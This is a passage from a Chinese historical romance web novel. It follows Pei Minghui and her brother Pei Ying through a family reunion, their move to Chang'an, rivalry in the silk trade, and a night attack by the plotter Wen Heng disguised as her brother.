裴瑛的理智彻底回拢,原本游离迷惘的神色瞬间冷声斥责着谁。 此处分明只有他一人,并无旁人。 冷风游窜着带动枝摇雪落,寒鸦盘旋不栖。 “少来置喙我的事,与你无关。” 裴瑛末了又补上一句,甩袖大步离开。 第22章 他要回长安去了 翌日, 云消雪霁,天蓝如镜,白云成团, 一片洁净清爽之感。 春喜和另外及格伺候小姐梳洗的婢女早久候在外间,一听里间传来响动, 赶忙鱼贯而入。 裴明绘跪坐在镜台之上,身后的春喜用镶嵌玛瑙翡翠的檀木梳将她浓密的黑发一下一下梳顺,而后用戴粉色地丝线分股拢结,而后盘好,堆叠如云之后再用金簪固定,余下的黑发如瀑布垂下, 一旁的叫做夏荷的婢女则凝神专注为她上妆, 一层细腻的珍珠粉敷过,而后便是描黛施丹,原本略有苍白的面色瞬间就光彩照人起来,昏黄的铜镜里瞬间焕发出耀眼的光泽来。 如灼灼桃花的粉色长袍曳地, 雪光映着日光一照, 便是如同粼粼波光一般的桃花暗纹, 浅青色的披帛悬在两臂之间,被风一吹,像是窥得万里桃花掩映里那一点青山颜色。 裴明绘被众婢女簇拥着走向后院正厅,这时候午膳都摆了好, 布菜的侍女也鱼贯着退下。 两案饭菜乃是一鼎两盘,分别是麋鹿肉,考得得酥脆鲜香的烤鸡, 以及上锅蒸了两个时辰的胡羊肉,并着一爵醇香百年老凤酒。 裴瑛并未按照家主身份坐在正厅上首, 而是将两张大案并排摆着,两张大案彼此间的间隙几乎近于无。 裴瑛确实平常一贯的青色的宽袍大袖,好似空山新雨之色彩,清俊端方儒雅随和,这便是河东裴家的公子。 他似乎正在思量什么,忽然听闻屋外声响,偏首便见裴明绘款款而来,登时笑了起来,“子吟醒了?” “是我睡得久了,叫哥哥好等。”裴明绘原本所有的阴郁,都在看见裴瑛的那一刻烟消云散,她的脸上登时扬起一个明媚的笑来回应他,“哥哥怎么不叫奴婢们叫我。” “天冷,何故起那么早。”裴瑛也是温和一笑,起身作了一个请宾客入席的礼,“快坐罢。” “岁首之时为兄有要务缠身,不能回来与子吟团聚,实乃为兄失职”裴瑛举爵迎向裴明绘,他依旧光风霁月,举止优雅从容,看起来,他真的没有把昨夜的吻放在心上,“今日你我兄妹团聚,该当合府大黼,共庆岁首。” 裴明绘放下心来,心底忧郁也在裴瑛的温和爽朗的声线里散去泰半,她随即也高兴地捧爵道,“岁首大吉。” 一爵饮罢,醇香的凤酒的香味缥缈不散。 筵席罢,兄妹二人便一同去了花园的亭子里,院子里的梅花开得正好,红艳艳地映着白雪,像是熊熊的火焰在燃烧。 “彼黍离离,彼稷之苗。行迈靡靡,中心摇摇。知我者,谓我心忧;不知我者,谓我何求。悠悠苍天,此何人哉?” …… 这清雅的歌声幽幽回荡在苍天之下,苍凉而又有肃穆,亭中歌声和着古朴肃穆的秦筝幽幽传来,而后便如同烟雾一般蔓延在园子里,时而鸟声啁啾,或清脆悦耳,或婉转悠扬。 所有听到的这首歌的人都不由放下了手上的事物,静静地听着这优美的歌声。 赤梅亭掩映在火红的梅花之中,梅花造式的亭子因地制宜。 裴瑛长身负手而立在亭中,青色的袍子在冷风之中微微飘荡,他的目光平静而又长远,像极了冯虚御风的仙人。 裴明绘抚琴而歌,素手抚过琴弦,秦筝叮咚作响。 裴瑛微微偏过头来,目光落在了裴明绘的侧脸之上,而后垂下眼帘,将青如竹叶的修长玉笛拿了出来。 清扬的笛声昂扬起伏,初有空山新雨之清新,后玉海阔鱼跃之浩然,音色的变换就像是人间风月景色的变换一般流畅自然,长音如海潮澎湃,短音如林海涛涛,乐声通转,骤然高升入凌风破云霄,明光乍现照亮人间,万事万物都瞬间明朗起来,都在日光之下矗立着,见证着新的盛世的到来。 裴瑛的笛声带着裴明绘的心一下从幽深的低谷里飞扬到了晴空碧落之上,她的心潮顿时澎湃起来,胸膛的血液涌动着,指尖滑过琴弦,或按或拨,行云流水,和着他的笛声。 秦筝与笛声相和,音律如号角,指法如兵法,万般妙趣意趣皆藏于这激动人心的乐曲之中。 怎知高岸为谷深谷为陵,时事往往不由人心,奸佞呼风唤雨,忠臣埋骨他乡。 只道守得云开见月明,却又怎知,自古谎言登青史,真言怎由人知? 如此乐声,就连墙外的行人也停下了赶路的脚步,扬起头来倾听。 可是再动听,在激扬的乐曲,再辉煌的时代,都有落幕之时。 “子吟,你的忧思很重。” 乐曲最表主人心思,兼之裴瑛善察人心,一曲奏罢,他收起玉笛,偏头看向裴明绘,裴明绘慢慢地将手从琴弦上放了下来。 裴明绘抿了抿唇,而后笑道,“心中事千万,自然免不了忧愁了。哥哥不必担心。” 裴瑛走过来,坐到裴明绘身边,微微侧过身来,抬手将她被风吹乱的鬓发拂开,而后掖到耳后。 他的面容与她的有着裴明绘垂下眼眸来,仔细地感受到他手心的温度,昨夜的那荒唐的亲吻的热度与滑腻的感觉余威犹在,叫她腾地一下脸红了下来。 他的手离开的时候,手背蹭到了她的脸颊,这异样的温度,让裴瑛瞬间变抬起了眼帘,目光看向了垂着头的裴明绘。 裴瑛:“明日我便要回长安去。” 第23章 外嫁 “什么……”裴明绘瞬间就抬起来眼眸, 心中的失落铺天盖地而来,“哥哥才回来就要走吗?” “是啊,长安中诸事亟待处理, 我不在的时日,便又有人, 想要借此作乱。”裴瑛看向裴明绘,看着眼前自己这个看似乖巧的妹妹,心中主意瞬间定了,“你且同我一起去,裴家诸事,自有管家处理。今河东明月坊被烧, 现在重建也不是时机, 你且去长安,专心经营长安明月坊。” 裴明绘的心,又高兴,又难过, 她垂下来, 点了点头, “好。” 裴瑛的余光一直落在裴明绘身上,见她心思陡然低落,定然是心里有事,但左右不过是为着温珩那个臭小子罢了, 故而他也就直戳了当地问道,“子吟,你可有心事?” 裴明绘在裴瑛面前几乎没有秘密, 一惊之下,她也鼓起了勇气, 抬头看向了裴瑛,努力让自己的语气听起来正常,并确保没有夹杂着嫉妒,伤心等任何负面情绪。 “哥哥,我听说就是南云公主与哥哥结亲了,这事可是真的。” 恭喜的话已经在裴明绘嘴里预备好了,只待裴瑛一个是字她便会欢欢喜喜地说出来,告诉裴瑛,只要这桩婚事是他心甘情愿的,她非常支持他的决定。 裴瑛一怔,拧起了眉,疑惑道,“你从何处听来的流言?” 所有的话瞬间卡在嘴边,裴明绘怔在当场。 裴瑛看着裴明绘这幅样子,不由笑出了声,他缓步走了过去,而后顺势歪着头,看着低着头的裴明绘的脸上装出的一脸正色。他伸手摸了摸裴明绘的头,无奈却又宠溺地笑道,“南云公主的母家乃是郑家人,我前几日方才检举了三川郡守郑济阴与诸侯私下交通,怎么可能迎娶南云公主。” 裴明绘抬头,一双眸子澄澈懵懂又无辜,冷风簌簌而过,将她的发再度吹乱,黑色的发丝在风中游动着,像极了春日蓬勃生发的柳丝。 而裴瑛依旧倾身看着她,笑容真挚。 耳际风声哗哗作响,裴明绘的心却也安稳下来。 看着她的眸底光一点一点亮了起来,裴瑛也笑了起来。 裴瑛自认勘破人间纷纭复杂形形色色的各种情绪与情感,不管是何种情绪,他都能从对方的各种细节,甚至是从眼神的细微变化里寻觅到马脚,而后据此探查,往往收获颇丰。 但是,裴瑛到底是以旁观者的角度去看。 裴瑛与裴明绘相处十六年,这十六年里,二人便是至亲。 他自认为自己对于这个妹妹了如指掌。 故此,裴瑛便将她所有的异常都归咎于乍失外室而惶惶不安,后知晓自己要尚公主的流言,心下最是不安。 女子的心思最是细腻,裴瑛心道,她定是担忧若自己娶妻之后,便会与她生分了。 怎么会呢,裴瑛颇有些无奈,自己身负血海深仇,一颗心早就浸润了仇恨,又怎么会成家呢? 但是子吟不一样,她有一颗善良的心,她渴望着爱,她害怕自己一个人。 原本漂泊无定的心在此刻落了下去,裴瑛看向裴明绘。 但是说到底,也是自己离不开她。 十六年相依为命,她已然是自己最后一个亲人了,若是连她也离自己而去,自己哪里又有心力再苦苦坚持坚持下去呢。 可是妹妹长大了,终究要离开自己了。 他想放手,想松开系着她的丝线,让她如纸鸢一般自由而去,自己就在原地,一直看着她,这就最好,最好。 他坐在廊下,枯听一夜雪落,却始终没办法做下这个决定。 人都有私心,任何人都害怕孤独,就连一向冷冽无情雷霆手段的裴瑛,也害怕孤独。他无法想象,习惯了在家中等待的她,若一朝分离,自己又该如何。 “子吟,你听为兄说。”裴瑛坐在裴明绘身边,声音郑重起来,“你我兄妹相依为命,谁也不能离了谁。为兄不会娶妻,纵然公主,为兄也决然不会娶的。但是子吟,我知道你的心思,无论如何,我也不会将你外嫁的。 裴明绘顿时惊喜地回过头,她看着裴瑛的侧颜,惊讶高兴得甚至都说不出话来。 “但是有朝一日,你遇到喜欢的人,若是低嫁,自也是好说。但若是高嫁,以为兄之职位,除了王子皇孙,想必都在为兄之下,只要对方愿意入赘,为兄愿意将裴氏家业托付于你夫妻二人。” 冷风簌簌,裴明绘的心瞬间成了冰天雪地的一座冰雕,浑然没有温度。 但是,裴明绘却挤出一丝笑容来,将所有悲伤的都伪装成感动的泪水堂而皇之地流了下来。 “哥哥。”裴明绘咬着唇,强迫自己不哭出声来。 裴瑛只当她喜极而泣,故伸出手来,将她脸庞上的泪水擦去,柔声道,“好了,不哭了。那子吟也答应为兄,不要离开哥哥好不好。” “我不嫁人。”裴明绘扑到裴瑛的怀里,脸庞靠着他宽阔的胸膛,双手紧紧抓着他的衣襟,声泪俱下,“哥哥,子吟绝对不会离开哥哥。” “子吟净说傻话,男大当婚女大当嫁,为兄有着私心,以前为兄位卑人轻,你若嫁出娶,为兄便不能常常见你了,偌大的裴府再也没有人等着我了。”裴瑛微笑着看着裴明绘,轻抚她哭到颤抖的肩膀,只当她是一时情绪至极说的煽情话,“可如今为兄已位极人臣,便也不能再耽延你的婚事了。” “不,哥哥。我不会离开你,哪怕死也不会,是我错了,我不该引狼入室。” “难道你要做老姑娘吗?”裴瑛轻声说道,他垂下眼眸,指腹虚抚过她的脊背,想要放下,却又迟疑,这微末的距离,却成了裴瑛始终无法靠近的鸿沟,他闭了闭眼,而后将手放在了她的肩膀上,“只要你喜欢的,为兄都会帮你,其为人,你自不用担心。” 千言万语郁结在胸,仿佛气血凝固不能通畅。 裴瑛是天下第一好的哥哥,可是,却也只是哥哥。 裴明绘缓缓地抬起头,仰头看着裴瑛,盈满了泪水的眼眸模糊了他的容颜。 “哭什么。”裴瑛略有薄茧的手抚过了她的脸庞,这泪水,停留在他的指尖,莫名的热意让他心不由慌了一瞬,这异样的情绪不禁让他蹙起了眉,但他很快压下心中的躁意,不动声色地将那那扰动他心弦的泪水擦去,“你我兄妹永不分离,这难道不是最好的吗?” 天上又下起了雪,驭手将辎车套好,府里的仆人将府中的裴明绘的东西都装在大箱子里,而后搬上了车。 仆人拉开帘子,裴明绘扶轼登车,弯腰进了辎车,辎车内壁贴着狐狸毛,毛绒绒的很舒服,她捧着一个小手炉,故而一点也不冷。 “驾车仔细些。”裴瑛叮嘱了驭手,而后便踩着厚厚的积雪,利落翻身上马。 裴瑛披着黑色的斗篷,斗篷在冷风里簌簌翻飞,他利落翻身上马,待车马齐备之后,便打马一鞭,马队便辚辚地望着安邑西城门而去。 裴明绘缩在厚厚的狐裘里,毛绒绒的领子簇拥着她尖尖的下巴,很舒服很温暖,簌簌风雪声伴着压过新雪的车马声一路传她的耳朵,让她不禁有些迷惘,长安虽好,然终是波谲云诡之地,自己不往长安住,多是不喜此地之勾心斗角,兼之各路权贵云集,须得处处谨慎,一步小心,恐身死魂消,再好的产业也都拱手送与他人。虽说哥哥位极人臣,但到底政敌如云,未来如何,谁又知晓? 长安乃是极富贵之地,天南地北的豪杰人才皆心向往之,可是越是富贵之地,却也越是凶险。 天子脚下,皇城之中,不知掩藏着多少血腥斗争,自此往,恐再难归来。 * 风凄雪急,黑衣剑客抱剑而立。 “出来罢。” “哈哈……” 艰难地喘息从喉咙里溢出来,温珩艰难地从林子里头站了出来,浑身大大小小的伤口不知几多,殷红的血顺着他的嘴角蜿蜒而下,滴落在皑皑白雪之上。 很是狼狈。 “你要杀我吗?” 温珩用手背抹去唇畔的鲜血,一双黑凌凌的目光闪动着仇恨的光芒。 “生死在你,不在我。” 黑衣男子缓步走了过来。 “呵,可笑。”温珩冷笑一声,“你们主子要杀我,你怎么可能放过我,你难道不想提了我的脑袋去邀功吗!” “温公子何必如此疾言厉色。”男子走了过来,“再说了,功劳与否,若是能与颍川温氏共图大事,这些微功劳又算得了什么呢。” “大事?”温珩抬起眼来,正式审视眼前这个男子,又冷笑一声,“你们无位无权,多年来遭皇帝打压,不知剪除羽翼几多,竟敢妄言大事,好不可笑。” “难道就如温公子一样,竟图谋些可笑的小事吗?” 男子也不恼,反而笑了起来。 “若是如此,不如就让你死在这冰天雪地了,也算干净。” “等等!” 温珩一把拽住了他的衣袖,压下心中的悸动之后,苍白着浸染着血色的唇勾起邪气的笑来,“只要你跟裴瑛作对,我就帮你。” 第24章 不速之客 建金城而万雉, 呀周池而成渊①。长安有金城连绵,宏伟而坚固,一眼望去, 便如群山广阔,此起彼伏的城垛之上旌旗猎猎, 随风舒卷不。披三条之广路②,立十二之通门,其下乃是深广的护城河绕城而行,其上有桥,过桥,每面城墙有城门三洞, 内有大道, 途容四轨。 入得长安城内,则街衢洞达,闾阎且千,东市三市并西市六市, 共为九市, 其中货别隧分, 以聚天下南北商人,更有胡人售以珍奇事物。 故有言语曰,长安既庶且富,娱乐无疆。③ 长安城的雄阔壮丽, 关中的胜迹连绵,无不吸引着追求名利的各方豪杰,他们纷纷涌向了都城长安, 摩肩接踵人流如织。 固有天下南北豪杰咸聚长安之语。 长安的坊市极为热闹,远非安邑可比, 画檐连绵相接,华丽高楼鳞次栉比,高楼间或有画廊凌空,灯火璀璨如海潮,绵延无尽,巷闾街市酒肆里传来人们的爽朗笑声,或吟诗作对,或谈古论今,来往出入者往往衣着华丽,时有大马高车穿梭其间,马嘶鸣之声,车辚辚之声,以及来往行人的说话嬉闹之声,交织在一处,作出一副国家盛世之景象。 因着近来长安东市明月坊有一宗大额交易,所以裴明绘携了聂妩,二人一同去寻了职司察商贾货财贸易之事的市令,将其所立契约加盖官印,以之为凭证。 “劳烦市令大人了。” 裴明绘的将契约收了起来,很随意地一问,“听说近来东市新住进来一批丝绢商户,不知都是从何处来的。” 市令是个四十多岁的男人,是长安本地人,姓胡,名仲文。胡仲文虽是文职,却生得虎背熊腰,一双眼睛像是铜铃一般炯炯有神,他在明月坊设在长安之时,裴明绘便没少于他打点,于是二人也是分外相熟,在同行找茬之时,胡仲文也没少帮忙。 “是啊,裴小姐。”胡仲文道,“原本东市便属明月坊最大,可最近各郡国的丝绢坊却一下哗啦都涌了过来,各各都低价卖,今日跌三,明日跌五,个个都跟不要钱似的。” 裴明绘的眼帘倏然就抬了起来,“跌三跌五?” “我可没诓小姐,我确实也没想到,个个也都是中上等的好料子,怎么着都要跌三跌五。” 高档的绫罗绸缎,不与粮食盐铁一般是必需品,同时,他们所面向的客源也就是长安城的达官贵胄,再不济也是家中有产业进项的富贵人家,此等人家家中富裕,加之又非大宗进货,确是对中上品的丝绢价格的下降没有那么敏感,故而在此等产业就没有大规模降价的必要性。 在常人眼中看起来,这定是要借明月坊库房失火一事,诸多经营丝绢产业的同行便纷纷借此涌入长安,联合起来压价,夺取明月坊在中上等丝绢的客源。 若是放在平常,裴明绘也并不在意这些,明月坊府库被烧,这已经是不可改变的事了,而且长安明月坊也将不可避免的陷入缺货的状态。 而且现在并不是从农户收购蚕茧的时候,而且如此大的缺货,她的同行们定然要加紧唯独,直接断了她丝线的来路,所以从各处丝坊收购丝线的路子也就断了。 如此,若是明月坊同其他丝绢坊一般大规模降价,亏损先不必提,就是明月坊各雇员人士的钱恐怕一时也周转不出来。 裴明绘总觉得,其后隐藏着什么更大的阴谋在,而这些阴谋定然不只是商业的算计,更可能牵涉到庙堂。 一路走过来,有些与她相熟的同行正以一种可怜又好笑的眼神看着她,这眼神看了就叫人讨厌。 想着这些,裴明绘的眼神就暗了下来,不知不觉间,她的目光就门口的喧闹声吸引了过去,她的目光倏然间又落在杵在一边用脚画着圈的聂妩,看来她哥哥留给聂妩的阴影那是真的大。 “你怎么一路上都不高兴,裴瑛已经不在这儿了。”裴明绘揽住聂妩的胳膊。 聂妩一听到裴瑛两个字,顿时就吓得浑身一颤,只一劲点头摇头,裴明绘无奈,双手扶住聂妩的脑袋,郑重地对她说道,“聂妩,你别怕,有我在,就算是裴瑛可不可以伤害你的。” 聂妩这才从惊惧之中缓了过来,她紧紧攥着裴明绘的手,可脑海中裴瑛的脸如梦魇一般挥之不去。 冬雪飘飘,甲士的剑架在她脖子上,差一毫就将割破她的肌肤。 柴房里没有一丝光亮,裴瑛抱臂立在门侧,浅浅地将眸光扫了过来,登时聂妩的膝盖就软了下来,噗通一声跪了下来,吓得浑身发抖。 “家主饶命!奴再也不敢行此妄为之事,还请家主看在奴多年侍奉的份上,饶奴一条姓名罢。” 裴瑛没说话,浓郁的黑色与惨白的雪光相互纠缠着,照出他俊雅而又无情的侧颜。 聂妩知道,若是自己再无法给出裴瑛满意的答案,或许自己就再也见不到明天的太阳了,她赶忙咚咚叩首,急忙表示忠心,“奴在此立誓,若再撺掇小姐行不正之事,当天诛地灭不得好死!” 裴瑛的偏过头来,一双眼睛流露出冷冽而又危险的光芒,他的声音好似金铁振音一般,让聂妩的心震颤不已。 “你且记住你今日的话,若有下次,不用老天收你,我自会将你碎尸万段。” 他的话没有情绪涌动,但是每一个字都透着风霜刀剑的寒意,寒意之下,是赤裸裸的杀意。 聂妩虽然知道裴瑛心狠手辣,但到底跟在骗我明绘身边,见惯了裴瑛温柔的样子,心底对他的畏惧也就少了许久,以致于在提出那个馊主意之时,忘却了裴瑛那手眼通天的本事与事发之后的恐怖后果。 裴明绘温柔的声音把聂妩从恐惧中拉了出来。 “好了,别想这些来,既然决定把重心迁到长安,那便当好好经营明月坊。” “今日你我不论别的,只来看看长安坊市的新鲜玩意,听说从西域来了极特殊的可以安神的香料,你我前去看看好不好。” 裴明绘同她一同走出了官市署,走下台阶,便到了青石板铺成的大街之上,两侧高楼店铺林立,各色幌子插在店门前随风舒卷着,棚子支起的摊子上是形形色色的商品,或走兽毛皮或珍奇宝物,各色器具林林总总,叫人看得眼花缭乱。‘长安就是长安,就是十个安邑,也比不上它。 二人一路走着,一路便买了不少精致玩意,来来往往各色人物也都见过了,有前来太学求学之人,有来周游盛景之人,甚是热闹。 就在二人兴致正浓之时,身后突然有人叫了裴明绘一声,她先是偏过头来,目光遂落在了挤过人群走过的胖男人,穿着锦绣狐裘,肥大的独自艰难地用皮革腰带圈起,上头还坠着一块大大的玉,看样子应该雕的四不像。 “哟,还是熟人。” 聂妩也回过头来,忍不住笑出了声来。 “原是裴掌柜与聂执事。” 胖男人乐呵呵挤了过来,此人原是大梁的丝绢大商,姓郭,名升,名下也是有良田千顷专一种植桑树,其丝绢坊以大梁为名,郭家祖上三代都是专营丝绢生意的,三代积累,到了郭升这一代,便更加发达起来,一度挤进了皇商之列,而且裴明绘风闻郭升常与丞相来往,故宫廷丝绢采买故常以郭家的大梁丝绢坊为大头,而郭升在在此发了一笔大大的横财。 在此见到郭升,裴明绘并不奇怪,昔日明月坊进驻长安,瞬间便夺了大梁丝绢坊的风头,郭升顿时开始给丞相送了一批大大的礼,同时又暗自给关市送礼,叫他暗自针对明月坊。 在各方明里暗里的打压之下,明月坊门前客人骤疏,裴明绘心一横直接给丹阳长公主送去了丰厚的礼物,其中有一领火狐裘,三尺之内雪落即雪化,最为珍贵,也最是昂贵,原是裴明绘留着给裴瑛的,但失态紧急,她也只能忍痛割爱,将它送给长公主了。 长公主自然是喜欢得不得了,她同皇帝的一句话,瞬间就让长安明月坊从濒死的边缘瞬间又活过来。 有了丹阳长公主的庇护,明月坊这才逐步往上走。 后来,裴明绘将半数身家充实国库之举,则叫明月坊挤入了皇商之列,这叫郭升又嫉妒又气,而陆珩舟原不想同丹阳长公主争这些东西,但是大梁丝绢坊的利润越来越少,他手中里的油水也越来越少,他也就坐不下去了。 可是丹阳长公主是谁,就算是丞相是她亲舅舅,到手的利益她焉能就叫它没了,原本就在陆珩舟命廷尉去查明月坊之时,裴瑛来了。 当时的人都道是裴瑛徇私,却都不知道背后是丹阳长公主的意思,裴瑛一出手,受了丞相指点的廷尉当场就栽了进去,而背后的丞相也或多或少的受了牵连,至少一年之内他没能再受大梁丝绢坊的财货。 眼见数年过去,曾经盛极一时的明月坊也开始衰败下来,而昔日的同行不来殷切的问候一番,自然是不可能的。 郭升在二人面前立定,向着二位拱手,“裴掌柜,聂姑娘,不承想今日竟能再次遇见。” 裴聂二人颔首,裴明绘道,“郭掌柜。” “听闻明月坊失火,实在是令在下遗憾,不过想来以裴掌柜的能力,东山再起,自然不是问题。” 裴明绘抬眼看了一眼郭升,看他脸上忍耐不住的笑意,心里冷笑一声,面上却也和善,朝郭升一拱手,“那就承郭掌柜吉言了。我等还有要事,就先走了。” 郭升眼见二人要走,赶忙上前一步,拦住二人的去路,笑嘻嘻地说道,“裴掌柜何必着急走呢,听闻西域之行的丝绢都由裴掌柜一力承办,宫里大农令的批文也下来了,只是这明月坊的库房都烧了,怕是……” 他的话就停在了这儿,眼睛也看向了裴明绘。 第25章 温珩深夜造访 “此事, 我自有分寸,就不劳郭掌柜忧心了。”裴明绘心里冷笑更甚,这胖狐狸惦记西域之行的市利不知多久了, 各处逢迎各处送礼,耗费不知几多, 只可惜,他并未看清楚如今的时势,送去的金银财货,也全作了水漂。 今一见明月坊失火,便叫这老狐狸闻着味了。 “我自然知道这些事都是裴掌柜自家的事。”郭升笑道,“只是, 这此去西域事关重大, 我虽不才,但也是大汉子民,西域之行彰显我大汉国威,其间物件自是天下顶级, 如此, 明月坊自是当之无愧, 在下小作坊,自然不敢与之相争。只是如今这明月坊突然遭难,诸多事物怕是周转不过来,在下久经商业之事, 此间难处自然也是知道的,故此,在下方才想着为裴掌柜分忧。” 他说得正经极了, 若非裴明绘浸淫商道多年,如今便要被他诓骗去了。 但她突然灵光一现, 计上心头,一改方才的冷漠态度,转而笑了起来:“郭掌柜的意思,我明白,只是这决定太过重大,一时片刻,也不好突兀决定,更兼最近东市风向不好,明月坊多繁杂事亟待处理……” 郭升立马嗅到了利市的气味,忙道,“这事裴掌柜不用担心,东市多争利之事,这与西域之行,都不过些小事。他们虽然爱财,其中分寸,叫人一说,也都该明白了。” “有你这番话,我也就放心了。”裴明绘的嘴角也勾起一丝笑来,“今我遭难,别人无不落井下石,独郭掌柜能施以援手,这份情,我可记着呢。” “哪的话,裴掌柜太客气了。”郭升高兴的搓了搓手,“这人多,我请裴掌柜去醉月楼吃茶,最近我新得了件宝贝,听说是当年孟尝君赠秦王的那件白狐裘,这件狐裘正称裴掌柜颜色。最近北风更猖狂了,裴展柜也该添件保暖的衣裳了。” 冷风愈发紧了,吹得各色幌子在空中招展不息,吹得她鬓发的几缕发丝像柳丝一样飞扬着,拂过她洁白的面颊,映在她漆黑的眸子。 “掌柜费心了,什么衣裳都能保暖,何必糟蹋那件宝物呢。”裴明绘先一步转身,转而偏过头来,露出一丝温润的笑意来,“不过,诸事繁杂,不如你我改日再叙罢。” 待到裴明绘同聂妩走了,郭升的一张笑脸方才塌了下来,他恶狠狠地看着二人离去的方向,又狠狠地往地上啐了一口,低声骂道,“不过仗着你哥和长公主,你又有什么好得意,等裴瑛倒台了,我看你傲不傲的起来。” 裴明绘突然觉得起了浑身的鸡皮疙瘩,觉得有什么人再盯着她,可是偏偏一回头,却又什么人都没发现。 “怎么了?”聂妩奇怪地问道,她也跟着裴明绘回头,却什么都没有发现。 “许是我多心了罢。”裴明绘又回过了头,道。 可就在她刚刚回过的瞬间,全身又一激灵,又猛地回过头去,却只见到来来往往的人群,其中并未瞧见有什么异常的人。 “罢了罢了,我们回去罢。” 聂妩见裴明绘的额头上都沁出了冷汗,急忙拿出帕子来给她擦汗。 “许是车马劳顿,累到了,先回去歇歇,改日我们再来。” 子时一刻,寒鸦将息。冷月悬天,银辉漫天。 床帏落下,将银色的月光筛得更加柔和,而后落在她的面上,蝶翼一般的睫羽不住地颤抖着。 黑色的缀着玄铁甲叶的长靴踩过地上厚厚的地毡,简直就像是鬼魂一样,几乎一点声响都没有,又或是外头的呼呼刮着的冷风太过猖獗,将所有的声响都盖了过去。 冷月落在那骨节分明的优雅双手上,像极了冷玉雕成的稀世杰作,双手轻轻拂开帘子,冷色月光便如流水一般淌了进去。 她似乎睡得极不安生,翻来覆去的,总是安定不下来,或是察觉了萦绕在身侧的凛冽危险,她一下子就睁开了眼睛,可是映入眼帘的又是裴瑛的那张脸,昏暗变幻的银色月光勾勒出男子俊秀的侧颜,眉眼如同天工凿刻般秀丽无双,黑漆漆的眸子映着她惊慌的神色。 “哥哥怎的来了?” 她坐起身来,抬手用手背擦了擦额头沁出的冷汗,颇有些嗔怪地歪头看向裴瑛,这才发觉他今日的穿着颇有些奇怪,竟然穿着如此紧身的黑衣服,袖口衣领处竟然还缀着铁片,上头结了些洁白的霜话,隐隐的透着些寒气。 “这般时候来,吓我一跳。” “我来的不巧了是吗?” 裴瑛笑了起来,薄唇弯起,露出白花花的齿列,隐在明暗之间的面容瞬间脱去了温和的假面,变得诡异而又玩味。 他一说话,裴明绘瞬间鲜血倒流,她正要失声尖叫,那冰冷的手却直直捂住了她的嘴,而后把她摁在了榻上,顿时裴明绘的发髻就散乱开来,她惊慌失措想要拔下头上的簪子,然后双手就被“裴瑛”缚住,然后重重压在了心口前,叫她挣脱不开。 “裴瑛”见她如此模样,不由恶劣地笑了起来,眸中是压制不住的兴趣。他压着声音,几乎是贴着她的耳侧,自问自答道,““看来,是的。” “呜呜……” 裴明绘惊恐地看向“裴瑛”,拚命挣扎着,奈何男女力气差距过大,她的挣扎无异于蚍蜉撼树,很快就被压制了下来。 他的面孔如此之近,近到呼吸可闻,冰冷而又危险。 月光悄无声息落进他的眸子,闪出来的却是狡黠而又诡谲的光,他目不转睛地看着身下的吓得魂不附体的裴明绘,轻声笑了起来,“怎么,乖妹妹也会被好哥哥吓成这样吗?以往你不是很喜欢我吗,怎的今日就跟见了鬼一样?” 他话说得极为轻佻,微热略带着潮气的吐息落在她的肌肤上,激起一片又一片的战栗。 “还是,这个乖妹妹又着什么非分之想呢?” 他哂笑着,袖口处的甲片擦着她的肌肤,冰冷的触感让她瞬间从惊惧中缓了过来,她的眸光瞬间冷静下来。 他见她瞬间冷静下来,不由有些好奇,正欲挑眉,看她所为何事,却不防她蓄力一脚,正正踢在他要命之处。 男子皎洁无暇的面容肉眼可见的痛苦起来,如剑长眉蹙起,手下登时放松了对裴明绘的压制,就在此时,裴明绘将身一滚,便从榻上滚了下去,正欲大喊,颈上便是一痛,眼前登时一黑,摔在了地上。 冷风吹过枯枝簌簌,将冰冷的月辉筛得稀碎,一身凄厉的鸦鸣伴随着扑棱振翅之声,黑寒鸦在夜空冷月之下徘徊,黑色的眼睛死死注视这在阴影处的二人。 “你此行为何?” 这是一道成熟的男声,里面充斥了不解与不满。 后面的人顿了顿,压低声音答道,“自然是来寻仇的。” “所以?”前面那人不可置信地说道,尾音是压制不住地上扬,“你人杀了吗?” “暂时留她一条性命,让她与裴瑛一起下黄泉。”那声音十分肯定得冷冷回道。 “温珩,莫整这些废话,我看你就是脑中有疾。”前面那人几乎笑出了声,而后咬牙切齿地说大“杀了她,定会叫裴瑛肝肠寸断无暇他顾,倒时在联合朝臣动手弹劾,定然叫他死无葬身之地。你如此延宕战机,总是寻些特立独行的法子,休谈大事!” 说罢,此人抬脚便走,温珩便要去追,可步子刚迈出一步,他的脚步又滞涩住了,修长的手指缓缓攥住,他回头看去,居高临下穿过裴府层层回廊府苑,一直停在了拿出修竹掩映的院子中,黑色的凤眸映着月光,遮掩住了他真正的想法。 “下次见面,我一定会杀了你。” 温珩冷笑一声,冷风带起他几缕额发,擦过他的脸,浸在月光与夜色下的眼睛变得幽深,亟不可待的杀意涌了出来。 只要能让裴瑛伤心欲绝地滚出庙堂,他什么都可以做,更何况一个傻子似的妹妹呢? 心思既定,温珩脚尖一点,跃入了黑漆漆的巷子中,消失不见。 清晨刺目的阳光透过素色床帏,落在裴明绘的眼帘上,她缓缓地张开眼睛,却不由浑身一阵酸痛,好似鬼压床了一般,她摇了摇头,素手拂开帘子,刺目的阳光让她有些睁不开眼,洁白的双脚先后从榻上挪了下来,趿上绣履,自往镜台旁走去。 心念电闪之间,昨夜的那副惊险的场景瞬间又涌入脑海,她立即清醒过来,她大声喊来外间侍候的春喜与夏荷,忙闻昨夜可听见打架声。 二奴婢相互看了一眼,一同摇了摇头,都说昨夜除了风大些,并未有异动。 如此这般,倒真叫裴明绘糊涂了,难不成,是自己做的噩梦,她一扭头,却又见昏黄铜镜中的自己发髻依旧整洁,那个束发的簪子依旧好端端地插在发髻之上。 自己如何竟作了关于温珩的噩梦,若非自己心中对温珩尚有些心思? 可是若是有心思,却缘何又是噩梦,这个温珩在自己面前,总是一副人畜无害的小白兔模样,自己又如何会构想出他如此恶劣的一面。 裴明绘百思不得其解,但无论如何,如今温珩死活无定,自己虽先前与他无冤无仇,可是这厮却烧了她的明月坊库房,自己如何能甘心。 这叫什么,如何叫女人为我花上数千金? 裴明绘一想起温珩,不由又头疼起来,原自己一世英名,也算栽倒男人头上了。 第26章 算缗会议 长安如此繁华富庶之地, 大农令周文却没有心思观赏游玩,北方匈奴战场的催粮催饷的文书一到长安,皇帝就将其批给了大农令周文, 要其尽快处理。 周文急忙就去找了少府寺,大农令署与少府寺一笔一笔算, 结果算出来的缺口更是无可估量,眼前天文的数字几乎叫周文两眼一黑。 其间奖赏有功将士,抚恤战死将士已经超过了三十万金,这是万万不能减省的。 其中还有对匈奴投降部族的拨款,以匈奴浑邪王率四万余人为例,大将军大司马谢元狩亲自迎接, 因其并无自给之能, 